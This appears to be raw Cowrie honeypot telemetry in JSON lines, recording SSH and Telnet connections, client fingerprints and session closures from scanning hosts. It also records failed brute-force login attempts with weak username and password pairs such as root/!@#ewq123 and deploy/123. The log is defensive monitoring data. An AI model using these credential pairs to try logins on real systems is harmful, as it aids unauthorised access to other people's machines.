{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:28.423747Z","src_ip":"31.40.204.166","session":"e232871e95f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:28.688613Z","src_ip":"103.91.246.101","session":"75013d227aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":55262,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dcc9e05e008","protocol":"ssh","message":"New connection: 47.237.167.49:55262 (159.203.135.109:22) [session: 2dcc9e05e008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:28.836920Z"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:28.926273Z","src_ip":"31.40.204.166","session":"e232871e95f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46040,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b3bfe134f36","protocol":"telnet","message":"New connection: 152.42.224.71:46040 (10.17.0.5:23) [session: 2b3bfe134f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:30.217796Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:30.301259Z","src_ip":"31.40.204.166","session":"e232871e95f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.67965912818909,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:31.526640Z","src_ip":"152.42.224.71","session":"cac859459ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":47302,"dst_ip":"10.17.0.5","dst_port":22,"session":"93edae86466a","protocol":"ssh","message":"New connection: 81.9.145.130:47302 (10.17.0.5:22) [session: 93edae86466a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:34.763487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:34.769391Z","src_ip":"81.9.145.130","session":"93edae86466a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:34.883453Z","src_ip":"81.9.145.130","session":"93edae86466a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010203","message":"login attempt [root/010203] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:35.363176Z","src_ip":"81.9.145.130","session":"93edae86466a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:36.478654Z","src_ip":"81.9.145.130","session":"93edae86466a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35762,"dst_ip":"159.203.135.109","dst_port":22,"session":"6caa3770818f","protocol":"ssh","message":"New connection: 31.40.204.166:35762 (159.203.135.109:22) [session: 6caa3770818f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:40.320086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:40.325471Z","src_ip":"31.40.204.166","session":"6caa3770818f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:40.495794Z","src_ip":"31.40.204.166","session":"6caa3770818f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:41.387584Z","src_ip":"31.40.204.166","session":"6caa3770818f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:42.521521Z","src_ip":"31.40.204.166","session":"6caa3770818f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":50668,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dc1f27adea2","protocol":"ssh","message":"New connection: 182.93.50.90:50668 (10.17.0.5:22) [session: 9dc1f27adea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:44.888568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:44.893575Z","src_ip":"182.93.50.90","session":"9dc1f27adea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":36596,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64e383bc5a0","protocol":"ssh","message":"New connection: 43.156.96.97:36596 (10.17.0.5:22) [session: b64e383bc5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:44.931968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:44.937082Z","src_ip":"43.156.96.97","session":"b64e383bc5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:45.115010Z","src_ip":"182.93.50.90","session":"9dc1f27adea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:45.167649Z","src_ip":"43.156.96.97","session":"b64e383bc5a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#ewq123","message":"login attempt [root/!@#ewq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:46.026219Z","src_ip":"182.93.50.90","session":"9dc1f27adea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#ewq123","message":"login attempt [root/!@#ewq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:46.119394Z","src_ip":"43.156.96.97","session":"b64e383bc5a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51800,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0417039c55a","protocol":"ssh","message":"New connection: 109.237.96.109:51800 (159.203.135.109:22) [session: b0417039c55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:46.283010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:46.288068Z","src_ip":"109.237.96.109","session":"b0417039c55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:46.381287Z","src_ip":"109.237.96.109","session":"b0417039c55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satana","message":"login attempt [root/satana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:46.649296Z","src_ip":"109.237.96.109","session":"b0417039c55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52072,"dst_ip":"10.17.0.5","dst_port":23,"session":"6584d1bfad04","protocol":"telnet","message":"New connection: 152.42.224.71:52072 (10.17.0.5:23) [session: 6584d1bfad04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:46.841006Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:47.249351Z","src_ip":"182.93.50.90","session":"9dc1f27adea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:47.352458Z","src_ip":"43.156.96.97","session":"b64e383bc5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:47.742065Z","src_ip":"109.237.96.109","session":"b0417039c55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52076,"dst_ip":"10.17.0.5","dst_port":23,"session":"73aaad98ad1e","protocol":"telnet","message":"New connection: 152.42.224.71:52076 (10.17.0.5:23) [session: 73aaad98ad1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:50.910996Z"}
{"eventid":"cowrie.session.closed","duration":107.25911402702332,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:51.302027Z","src_ip":"152.42.224.71","session":"233291a8d713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41966,"dst_ip":"159.203.135.109","dst_port":22,"session":"4453a8a257bc","protocol":"ssh","message":"New connection: 31.40.204.166:41966 (159.203.135.109:22) [session: 4453a8a257bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:52.285666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:52.298592Z","src_ip":"31.40.204.166","session":"4453a8a257bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:52.421708Z","src_ip":"31.40.204.166","session":"4453a8a257bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.66614651679993,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:52.497067Z","src_ip":"152.42.224.71","session":"549305f0f0a7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:53.085279Z","src_ip":"31.40.204.166","session":"4453a8a257bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52090,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddcb4429993d","protocol":"telnet","message":"New connection: 152.42.224.71:52090 (10.17.0.5:23) [session: ddcb4429993d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:53.795937Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:54.214503Z","src_ip":"31.40.204.166","session":"4453a8a257bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":34354,"dst_ip":"10.17.0.5","dst_port":22,"session":"50c1b8050991","protocol":"ssh","message":"New connection: 103.149.170.125:34354 (10.17.0.5:22) [session: 50c1b8050991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:59.135626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:59.140486Z","src_ip":"103.149.170.125","session":"50c1b8050991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:59.409035Z","src_ip":"103.149.170.125","session":"50c1b8050991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhjirf","message":"login attempt [root/rhjirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:01.103742Z","src_ip":"103.149.170.125","session":"50c1b8050991","protocol":"ssh"}
